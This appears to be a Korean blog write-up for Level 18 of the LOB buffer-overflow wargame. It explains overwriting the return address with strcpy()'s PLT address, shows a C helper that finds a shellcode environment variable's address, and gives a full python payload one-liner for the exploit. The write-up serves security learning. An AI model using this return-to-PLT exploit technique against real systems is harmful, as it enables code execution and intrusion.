ii4gsp
LOB - Level18 [succubus -> nightmare] 본문
주석에 PLT라고 되어있다 RET를 strcpy()함수의 PLT주소로 변조해야 하는 문제이다.
strcpy()함수의 PLT주소는 0x08048410이다.
값을 넣어주고 코어파일을 분석해보자
0x41414141가 있는 주소 0xbffffa50과 0x45454545가 있는 주소 0xbffffa5c를 사용할것이다.
페이로드는
buffer + sfp + &strcpy() + dummy + &strcpy() arg1 + &strcpy() arg2 + &shellcode
[44byte] [4byte] [4byte] [4byte] [4byte] [4byte]
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
쉘 코드 주소를 구하는 소스코드를 작성해주자
환경변수에 쉘 코드를 등록해주고 작성한 소스코드를 실행하면 쉘 코드 주소가 나온다.
쉘 코드 주소는 0xbffffef0 이다.
payload
./nightmare $(python -c 'print "\x90" * 44 + "\x10\x84\x04\x08" + "\x90" * 4 + "\x50\xfa\xff\xbf" + "\x5c\xfa\xff\xbf" + "\xf0\xfe\xff\xbf"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level19 [nightmare -> xavius] (0) | 2020.01.29 |
---|---|
LOB - Level17 [zombie_assassin -> succubus] (0) | 2020.01.27 |
LOB - Level16 [assassin -> zombie_assassin] (0) | 2020.01.26 |
LOB - Level15 [giant -> assassin] (0) | 2020.01.25 |
LOB - Level14 [bugbear -> giant] (0) | 2020.01.23 |
Comments